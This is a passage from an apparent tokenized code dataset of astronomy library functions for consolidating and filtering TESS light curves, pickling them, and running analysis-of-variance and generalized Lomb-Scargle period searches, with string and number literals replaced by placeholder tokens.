consolidated['<STR_LIT:time>'].size:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>column_sort_ind = np.argsort(consolidated['<STR_LIT:time>'])<EOL>for col in consolidated['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>consolidated[key][subkey] = (<EOL>consolidated[key][subkey][column_sort_ind]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>consolidated[col] = consolidated[col][column_sort_ind]<EOL><DEDENT><DEDENT>info_sort_ind = np.argsort(consolidated['<STR_LIT>']['<STR_LIT>'])<EOL>for key in consolidated['<STR_LIT>']:<EOL><INDENT>consolidated['<STR_LIT>'][key] = (<EOL>np.array(consolidated['<STR_LIT>'][key])[info_sort_ind].tolist()<EOL>)<EOL><DEDENT>for key in consolidated['<STR_LIT>']:<EOL><INDENT>consolidated['<STR_LIT>'][key] = (<EOL>np.array(consolidated['<STR_LIT>'][key])[info_sort_ind].tolist()<EOL>)<EOL><DEDENT>if (filterqualityflags is not False or<EOL>nanfilter is not None or<EOL>timestoignore is not None):<EOL><INDENT>consolidated = filter_tess_lcdict(consolidated,<EOL>filterqualityflags,<EOL>nanfilter=nanfilter,<EOL>timestoignore=timestoignore)<EOL><DEDENT>return consolidated<EOL>", "docstring": "This consolidates a list of LCs for a single TIC object.\n\n    NOTE: if light curve time arrays contain nans, these and their associated\n    measurements will be sorted to the end of the final combined arrays.\n\n    Parameters\n    ----------\n\n    lclist : list of str, or str\n        `lclist` is either a list of actual light curve files or a string that\n        is valid for glob.glob to search for and generate a light curve list\n        based on the file glob. This is useful for consolidating LC FITS files\n        across different TESS sectors for a single TIC ID using a glob like\n        `*<TICID>*_lc.fits`.\n\n    normalize : bool\n        If True, then the light curve's SAP_FLUX and PDCSAP_FLUX measurements\n        will be normalized to 1.0 by dividing out the median flux for the\n        component light curve.\n\n    filterqualityflags : bool\n        If True, will remove any measurements that have non-zero quality flags\n        present. This usually indicates an issue with the instrument or\n        spacecraft.\n\n    nanfilter : {'sap','pdc','sap,pdc'} or None\n        Indicates the flux measurement type(s) to apply the filtering to.\n\n    timestoignore : list of tuples or None\n        This is of the form::\n\n            [(time1_start, time1_end), (time2_start, time2_end), ...]\n\n        and indicates the start and end times to mask out of the final\n        lcdict. Use this to remove anything that wasn't caught by the quality\n        flags.\n\n    headerkeys : list\n        A list of FITS header keys that will be extracted from the FITS light\n        curve file. These describe the observations. The default value for this\n        is given in `LCHEADERKEYS` above.\n\n    datakeys : list\n        A list of FITS column names that correspond to the auxiliary\n        measurements in the light curve. The default is `LCDATAKEYS` above.\n\n    sapkeys : list\n        A list of FITS column names that correspond to the SAP flux\n        measurements in the light curve. The default is `LCSAPKEYS` above.\n\n    pdckeys : list\n        A list of FITS column names that correspond to the PDC flux\n        measurements in the light curve. The default is `LCPDCKEYS` above.\n\n    topkeys : list\n        A list of FITS header keys that describe the object in the light\n        curve. The default is `LCTOPKEYS` above.\n\n    apkeys : list\n        A list of FITS header keys that describe the flux measurement apertures\n        used by the TESS pipeline. The default is `LCAPERTUREKEYS` above.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14756:m3"}
{"signature": "def tess_lcdict_to_pkl(lcdict,<EOL>outfile=None):", "body": "if not outfile:<EOL><INDENT>outfile = '<STR_LIT>' % lcdict['<STR_LIT>'].replace('<STR_LIT:U+0020>','<STR_LIT>')<EOL><DEDENT>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return os.path.abspath(outfile)<EOL>", "docstring": "This writes the `lcdict` to a Python pickle.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        This is the input `lcdict` to write to a pickle.\n\n    outfile : str or None\n        If this is None, the object's Kepler ID/EPIC ID will determined from the\n        `lcdict` and used to form the filename of the output pickle file. If\n        this is a `str`, the provided filename will be used.\n\n    Returns\n    -------\n\n    str\n        The absolute path to the written pickle file.", "id": "f14756:m4"}
{"signature": "def read_tess_pklc(picklefile):", "body": "if picklefile.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(picklefile, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(picklefile, '<STR_LIT:rb>')<EOL><DEDENT>try:<EOL><INDENT>with infd:<EOL><INDENT>lcdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with open(picklefile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % picklefile)<EOL><DEDENT>return lcdict<EOL>", "docstring": "This turns the pickled lightcurve file back into an `lcdict`.\n\n    Parameters\n    ----------\n\n    picklefile : str\n        The path to a previously written Kepler LC picklefile generated by\n        `tess_lcdict_to_pkl` above.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14756:m5"}
{"signature": "def filter_tess_lcdict(lcdict,<EOL>filterqualityflags=True,<EOL>nanfilter='<STR_LIT>',<EOL>timestoignore=None,<EOL>quiet=False):", "body": "cols = lcdict['<STR_LIT>']<EOL>if filterqualityflags:<EOL><INDENT>nbefore = lcdict['<STR_LIT:time>'].size<EOL>filterind = lcdict['<STR_LIT>'] == <NUM_LIT:0><EOL>for col in cols:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>lcdict[key][subkey] = lcdict[key][subkey][filterind]<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col][filterind]<EOL><DEDENT><DEDENT>nafter = lcdict['<STR_LIT:time>'].size<EOL>if not quiet:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT><DEDENT>if nanfilter and nanfilter == '<STR_LIT>':<EOL><INDENT>notnanind = (<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT:time>'])<EOL>)<EOL><DEDENT>elif nanfilter and nanfilter == '<STR_LIT>':<EOL><INDENT>notnanind = (<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT:time>'])<EOL>)<EOL><DEDENT>elif nanfilter and nanfilter == '<STR_LIT>':<EOL><INDENT>notnanind = (<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT>']['<STR_LIT>']) &<EOL>np.isfinite(lcdict['<STR_LIT:time>'])<EOL>)<EOL><DEDENT>elif nanfilter is None:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>if nanfilter:<EOL><INDENT>nbefore = lcdict['<STR_LIT:time>'].size<EOL>for col in cols:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>lcdict[key][subkey] = lcdict[key][subkey][notnanind]<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col][notnanind]<EOL><DEDENT><DEDENT>nafter = lcdict['<STR_LIT:time>'].size<EOL>if not quiet:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT><DEDENT>if (timestoignore and<EOL>isinstance(timestoignore, list) and<EOL>len(timestoignore) > <NUM_LIT:0>):<EOL><INDENT>exclind = np.full_like(lcdict['<STR_LIT:time>'],True).astype(bool)<EOL>nbefore = exclind.size<EOL>for ignoretime in timestoignore:<EOL><INDENT>time0, time1 = ignoretime[<NUM_LIT:0>], ignoretime[<NUM_LIT:1>]<EOL>thismask = ~((lcdict['<STR_LIT:time>'] >= time0) & (lcdict['<STR_LIT:time>'] <= time1))<EOL>exclind = exclind & thismask<EOL><DEDENT>for col in cols:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>key, subkey = col.split('<STR_LIT:.>')<EOL>lcdict[key][subkey] = lcdict[key][subkey][exclind]<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col][exclind]<EOL><DEDENT><DEDENT>nafter = lcdict['<STR_LIT:time>'].size<EOL>if not quiet:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>% (nbefore, nafter))<EOL><DEDENT><DEDENT>return lcdict<EOL>", "docstring": "This filters the provided TESS `lcdict`, removing nans and bad\n    observations.\n\n    By default, this function removes points in the TESS LC that have ANY\n    quality flags set.\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        An `lcdict` produced by `consolidate_tess_fitslc` or\n        `read_tess_fitslc`.\n\n    filterflags : bool\n        If True, will remove any measurements that have non-zero quality flags\n        present. This usually indicates an issue with the instrument or\n        spacecraft.\n\n    nanfilter : {'sap','pdc','sap,pdc'}\n        Indicates the flux measurement type(s) to apply the filtering to.\n\n    timestoignore : list of tuples or None\n        This is of the form::\n\n            [(time1_start, time1_end), (time2_start, time2_end), ...]\n\n        and indicates the start and end times to mask out of the final\n        lcdict. Use this to remove anything that wasn't caught by the quality\n        flags.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing). The `lcdict` is filtered IN PLACE!", "id": "f14756:m6"}
{"signature": "def aov_theta(times, mags, errs, frequency,<EOL>binsize=<NUM_LIT>, minbin=<NUM_LIT:9>):", "body": "period = <NUM_LIT:1.0>/frequency<EOL>fold_time = times[<NUM_LIT:0>]<EOL>phased = phase_magseries(times,<EOL>mags,<EOL>period,<EOL>fold_time,<EOL>wrap=False,<EOL>sort=True)<EOL>phases = phased['<STR_LIT>']<EOL>pmags = phased['<STR_LIT>']<EOL>bins = nparange(<NUM_LIT:0.0>, <NUM_LIT:1.0>, binsize)<EOL>ndets = phases.size<EOL>binnedphaseinds = npdigitize(phases, bins)<EOL>bin_s1_tops = []<EOL>bin_s2_tops = []<EOL>binndets = []<EOL>goodbins = <NUM_LIT:0><EOL>all_xbar = npmedian(pmags)<EOL>for x in npunique(binnedphaseinds):<EOL><INDENT>thisbin_inds = binnedphaseinds == x<EOL>thisbin_mags = pmags[thisbin_inds]<EOL>if thisbin_mags.size > minbin:<EOL><INDENT>thisbin_ndet = thisbin_mags.size<EOL>thisbin_xbar = npmedian(thisbin_mags)<EOL>thisbin_s1_top = (<EOL>thisbin_ndet *<EOL>(thisbin_xbar - all_xbar) *<EOL>(thisbin_xbar - all_xbar)<EOL>)<EOL>thisbin_s2_top = npsum((thisbin_mags - all_xbar) *<EOL>(thisbin_mags - all_xbar))<EOL>bin_s1_tops.append(thisbin_s1_top)<EOL>bin_s2_tops.append(thisbin_s2_top)<EOL>binndets.append(thisbin_ndet)<EOL>goodbins = goodbins + <NUM_LIT:1><EOL><DEDENT><DEDENT>bin_s1_tops = nparray(bin_s1_tops)<EOL>bin_s2_tops = nparray(bin_s2_tops)<EOL>binndets = nparray(binndets)<EOL>s1 = npsum(bin_s1_tops)/(goodbins - <NUM_LIT:1.0>)<EOL>s2 = npsum(bin_s2_tops)/(ndets - goodbins)<EOL>theta_aov = s1/s2<EOL>return theta_aov<EOL>", "docstring": "Calculates the Schwarzenberg-Czerny AoV statistic at a test frequency.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input time-series and associated errors.\n\n    frequency : float\n        The test frequency to calculate the theta statistic at.\n\n    binsize : float\n        The phase bin size to use.\n\n    minbin : int\n        The minimum number of items in a phase bin to consider in the\n        calculation of the statistic.\n\n    Returns\n    -------\n\n    theta_aov : float\n        The value of the AoV statistic at the specified `frequency`.", "id": "f14757:m0"}
{"signature": "def _aov_worker(task):", "body": "times, mags, errs, frequency, binsize, minbin = task<EOL>try:<EOL><INDENT>theta = aov_theta(times, mags, errs, frequency,<EOL>binsize=binsize, minbin=minbin)<EOL>return theta<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a parallel worker for the function below.\n\n    Parameters\n    ----------\n\n    task : tuple\n        This is of the form below::\n\n            task[0] = times\n            task[1] = mags\n            task[2] = errs\n            task[3] = frequency\n            task[4] = binsize\n            task[5] = minbin\n\n    Returns\n    -------\n\n    theta_aov : float\n        The theta value at the specified frequency. nan if the calculation\n        fails.", "id": "f14757:m1"}
{"signature": "def aov_periodfind(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=False,<EOL>startp=None,<EOL>endp=None,<EOL>stepsize=<NUM_LIT>,<EOL>autofreq=True,<EOL>normalize=True,<EOL>phasebinsize=<NUM_LIT>,<EOL>mindetperbin=<NUM_LIT:9>,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>sigclip=<NUM_LIT>,<EOL>nworkers=None,<EOL>verbose=True):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if startp:<EOL><INDENT>endf = <NUM_LIT:1.0>/startp<EOL><DEDENT>else:<EOL><INDENT>endf = <NUM_LIT:1.0>/<NUM_LIT:0.1><EOL><DEDENT>if endp:<EOL><INDENT>startf = <NUM_LIT:1.0>/endp<EOL><DEDENT>else:<EOL><INDENT>startf = <NUM_LIT:1.0>/(stimes.max() - stimes.min())<EOL><DEDENT>if not autofreq:<EOL><INDENT>frequencies = nparange(startf, endf, stepsize)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(frequencies.size, <NUM_LIT:1.0>/endf, <NUM_LIT:1.0>/startf)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>frequencies = get_frequency_grid(stimes,<EOL>minfreq=startf,<EOL>maxfreq=endf)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(frequencies.size,<EOL><NUM_LIT:1.0>/frequencies.max(),<EOL><NUM_LIT:1.0>/frequencies.min())<EOL>)<EOL><DEDENT><DEDENT>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT><DEDENT>pool = Pool(nworkers)<EOL>if normalize:<EOL><INDENT>nmags = (smags - npmedian(smags))/npstd(smags)<EOL><DEDENT>else:<EOL><INDENT>nmags = smags<EOL><DEDENT>tasks = [(stimes, nmags, serrs, x, phasebinsize, mindetperbin)<EOL>for x in frequencies]<EOL>lsp = pool.map(_aov_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>del pool<EOL>lsp = nparray(lsp)<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':phasebinsize,<EOL>'<STR_LIT>':mindetperbin,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period) for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>return {'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':phasebinsize,<EOL>'<STR_LIT>':mindetperbin,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':phasebinsize,<EOL>'<STR_LIT>':mindetperbin,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>", "docstring": "This runs a parallelized Analysis-of-Variance (AoV) period search.\n\n    NOTE: `normalize = True` here as recommended by Schwarzenberg-Czerny 1996,\n    i.e. mags will be normalized to zero and rescaled so their variance = 1.0.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The mag/flux time-series with associated measurement errors to run the\n        period-finding on.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float or None\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    autofreq : bool\n        If this is True, the value of `stepsize` will be ignored and the\n        :py:func:`astrobase.periodbase.get_frequency_grid` function will be used\n        to generate a frequency grid based on `startp`, and `endp`. If these are\n        None as well, `startp` will be set to 0.1 and `endp` will be set to\n        `times.max() - times.min()`.\n\n    normalize : bool\n        This sets if the input time-series is normalized to 0.0 and rescaled\n        such that its variance = 1.0. This is the recommended procedure by\n        Schwarzenberg-Czerny 1996.\n\n    phasebinsize : float\n        The bin size in phase to use when calculating the AoV theta statistic at\n        a test frequency.\n\n    mindetperbin : int\n        The minimum number of elements in a phase bin to consider it valid when\n        calculating the AoV theta statistic at a test frequency.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    nworkers : int\n        The number of parallel workers to use when calculating the periodogram.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'periods': the full array of periods considered,\n             'method':'aov' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14757:m2"}
{"signature": "def analytic_false_alarm_probability(lspinfo,<EOL>times,<EOL>conservative_nfreq_eff=True,<EOL>peakvals=None,<EOL>inplace=True):", "body": "from scipy.stats import f<EOL>frequencies = <NUM_LIT:1.0>/lspinfo['<STR_LIT>']<EOL>M = independent_freq_count(frequencies,<EOL>times,<EOL>conservative=conservative_nfreq_eff)<EOL>if peakvals is None:<EOL><INDENT>peakvals = lspinfo['<STR_LIT>']<EOL><DEDENT>nphasebins = nparange(<NUM_LIT:0.0>, <NUM_LIT:1.0>, lspinfo['<STR_LIT>']['<STR_LIT>']).size<EOL>ndet = times.size<EOL>false_alarm_probs = []<EOL>for peakval in peakvals:<EOL><INDENT>prob_xval = peakval<EOL>prob_exceeds_val = f.cdf(prob_xval,<EOL>nphasebins - <NUM_LIT:1.0>,<EOL>ndet - nphasebins)<EOL>false_alarm_probs.append(<NUM_LIT:1.0> - (<NUM_LIT:1.0> - prob_exceeds_val)**M)<EOL><DEDENT>if inplace:<EOL><INDENT>lspinfo['<STR_LIT>'] = false_alarm_probs<EOL><DEDENT>return false_alarm_probs<EOL>", "docstring": "This returns the analytic false alarm probabilities for periodogram\n    peak values.\n\n    FIXME: this doesn't actually work. Fix later.\n\n    The calculation follows that on page 3 of Zechmeister & Kurster (2009)::\n\n        FAP = 1 \u2212 [1 \u2212 Prob(z > z0)]**M\n\n    where::\n\n        M is the number of independent frequencies\n        Prob(z > z0) is the probability of peak with value > z0\n        z0 is the peak value we're evaluating\n\n    For AoV and AoV-harmonic, the Prob(z > z0) is described by the F\n    distribution, according to:\n\n    - Schwarzenberg-Czerny (1997;\n      https://ui.adsabs.harvard.edu/#abs/1997ApJ...489..941S)\n\n    This is given by::\n\n        F( (B-1), (N-B); theta_aov )\n\n    Where::\n\n        N = number of observations\n        B = number of phase bins\n\n    This translates to a scipy.stats call to the F distribution CDF::\n\n        x = theta_aov_best\n        prob_exceeds_val = scipy.stats.f.cdf(x, (B-1.0), (N-B))\n\n    Which we can then plug into the false alarm prob eqn above with the\n    calculation of M.\n\n    Parameters\n    ----------\n\n    lspinfo : dict\n        The dict returned by the\n        :py:func:`~astrobase.periodbase.spdm.aov_periodfind` function.\n\n    times : np.array\n        The times for which the periodogram result in ``lspinfo`` was\n        calculated.\n\n    conservative_nfreq_eff : bool\n        If True, will follow the prescription given in Schwarzenberg-Czerny\n        (2003):\n\n        http://adsabs.harvard.edu/abs/2003ASPC..292..383S\n\n        and estimate the effective number of independent frequences M_eff as::\n\n            min(N_obs, N_freq, DELTA_f/delta_f)\n\n    peakvals : sequence or None\n        The peak values for which to evaluate the false-alarm probability. If\n        None, will calculate this for each of the peak values in the\n        ``nbestpeaks`` key of the ``lspinfo`` dict.\n\n    inplace : bool\n        If True, puts the results of the FAP calculation into the ``lspinfo``\n        dict as a list available as ``lspinfo['falsealarmprob']``.\n\n    Returns\n    -------\n\n    list\n        The calculated false alarm probabilities for each of the peak values in\n        ``peakvals``.", "id": "f14757:m3"}
{"signature": "def generalized_lsp_value(times, mags, errs, omega):", "body": "one_over_errs2 = <NUM_LIT:1.0>/(errs*errs)<EOL>W = npsum(one_over_errs2)<EOL>wi = one_over_errs2/W<EOL>sin_omegat = npsin(omega*times)<EOL>cos_omegat = npcos(omega*times)<EOL>sin2_omegat = sin_omegat*sin_omegat<EOL>cos2_omegat = cos_omegat*cos_omegat<EOL>sincos_omegat = sin_omegat*cos_omegat<EOL>Y = npsum( wi*mags )<EOL>C = npsum( wi*cos_omegat )<EOL>S = npsum( wi*sin_omegat )<EOL>CpS = npsum( wi*sincos_omegat )<EOL>CpC = npsum( wi*cos2_omegat )<EOL>CS = CpS - C*S<EOL>CC = CpC - C*C<EOL>SS = <NUM_LIT:1> - CpC - S*S  <EOL>tan_omega_tau_top = <NUM_LIT>*CS<EOL>tan_omega_tau_bottom = CC - SS<EOL>tan_omega_tau = tan_omega_tau_top/tan_omega_tau_bottom<EOL>tau = nparctan(tan_omega_tau)/(<NUM_LIT>*omega)<EOL>YpY = npsum( wi*mags*mags)<EOL>YpC = npsum( wi*mags*cos_omegat )<EOL>YpS = npsum( wi*mags*sin_omegat )<EOL>YY = YpY - Y*Y<EOL>YC = YpC - Y*C<EOL>YS = YpS - Y*S<EOL>periodogramvalue = (YC*YC/CC + YS*YS/SS)/YY<EOL>return periodogramvalue<EOL>", "docstring": "Generalized LSP value for a single omega.\n\n    The relations used are::\n\n        P(w) = (1/YY) * (YC*YC/CC + YS*YS/SS)\n\n        where: YC, YS, CC, and SS are all calculated at T\n\n        and where: tan 2omegaT = 2*CS/(CC - SS)\n\n        and where:\n\n        Y = sum( w_i*y_i )\n        C = sum( w_i*cos(wT_i) )\n        S = sum( w_i*sin(wT_i) )\n\n        YY = sum( w_i*y_i*y_i ) - Y*Y\n        YC = sum( w_i*y_i*cos(wT_i) ) - Y*C\n        YS = sum( w_i*y_i*sin(wT_i) ) - Y*S\n\n        CpC = sum( w_i*cos(w_T_i)*cos(w_T_i) )\n        CC = CpC - C*C\n        SS = (1 - CpC) - S*S\n        CS = sum( w_i*cos(w_T_i)*sin(w_T_i) ) - C*S\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The time-series to calculate the periodogram value for.\n\n    omega : float\n        The frequency to calculate the periodogram value at.\n\n    Returns\n    -------\n\n    periodogramvalue : float\n        The normalized periodogram at the specified test frequency `omega`.", "id": "f14758:m0"}
{"signature": "def generalized_lsp_value_withtau(times, mags, errs, omega):", "body": "one_over_errs2 = <NUM_LIT:1.0>/(errs*errs)<EOL>W = npsum(one_over_errs2)<EOL>wi = one_over_errs2/W<EOL>sin_omegat = npsin(omega*times)<EOL>cos_omegat = npcos(omega*times)<EOL>sin2_omegat = sin_omegat*sin_omegat<EOL>cos2_omegat = cos_omegat*cos_omegat<EOL>sincos_omegat = sin_omegat*cos_omegat<EOL>Y = npsum( wi*mags )<EOL>C = npsum( wi*cos_omegat )<EOL>S = npsum( wi*sin_omegat )<EOL>CpS = npsum( wi*sincos_omegat )<EOL>CpC = npsum( wi*cos2_omegat )<EOL>CS = CpS - C*S<EOL>CC = CpC - C*C<EOL>SS = <NUM_LIT:1> - CpC - S*S  <EOL>tan_omega_tau_top = <NUM_LIT>*CS<EOL>tan_omega_tau_bottom = CC - SS<EOL>tan_omega_tau = tan_omega_tau_top/tan_omega_tau_bottom<EOL>tau = nparctan(tan_omega_tau)/(<NUM_LIT>*omega)<EOL>sin_omega_tau = npsin(omega*(times - tau))<EOL>cos_omega_tau = npcos(omega*(times - tau))<EOL>sin2_omega_tau = sin_omega_tau*sin_omega_tau<EOL>cos2_omega_tau = cos_omega_tau*cos_omega_tau<EOL>sincos_omega_tau = sin_omega_tau*cos_omega_tau<EOL>C_tau = npsum(wi*cos_omega_tau)<EOL>S_tau = npsum(wi*sin_omega_tau)<EOL>CpS_tau = npsum( wi*sincos_omega_tau )<EOL>CpC_tau = npsum( wi*cos2_omega_tau )<EOL>CS_tau = CpS_tau - C_tau*S_tau<EOL>CC_tau = CpC_tau - C_tau*C_tau<EOL>SS_tau = <NUM_LIT:1> - CpC_tau - S_tau*S_tau  <EOL>YpY = npsum( wi*mags*mags)<EOL>YpC_tau = npsum( wi*mags*cos_omega_tau )<EOL>YpS_tau = npsum( wi*mags*sin_omega_tau )<EOL>YY = YpY - Y*Y<EOL>YC_tau = YpC_tau - Y*C_tau<EOL>YS_tau = YpS_tau - 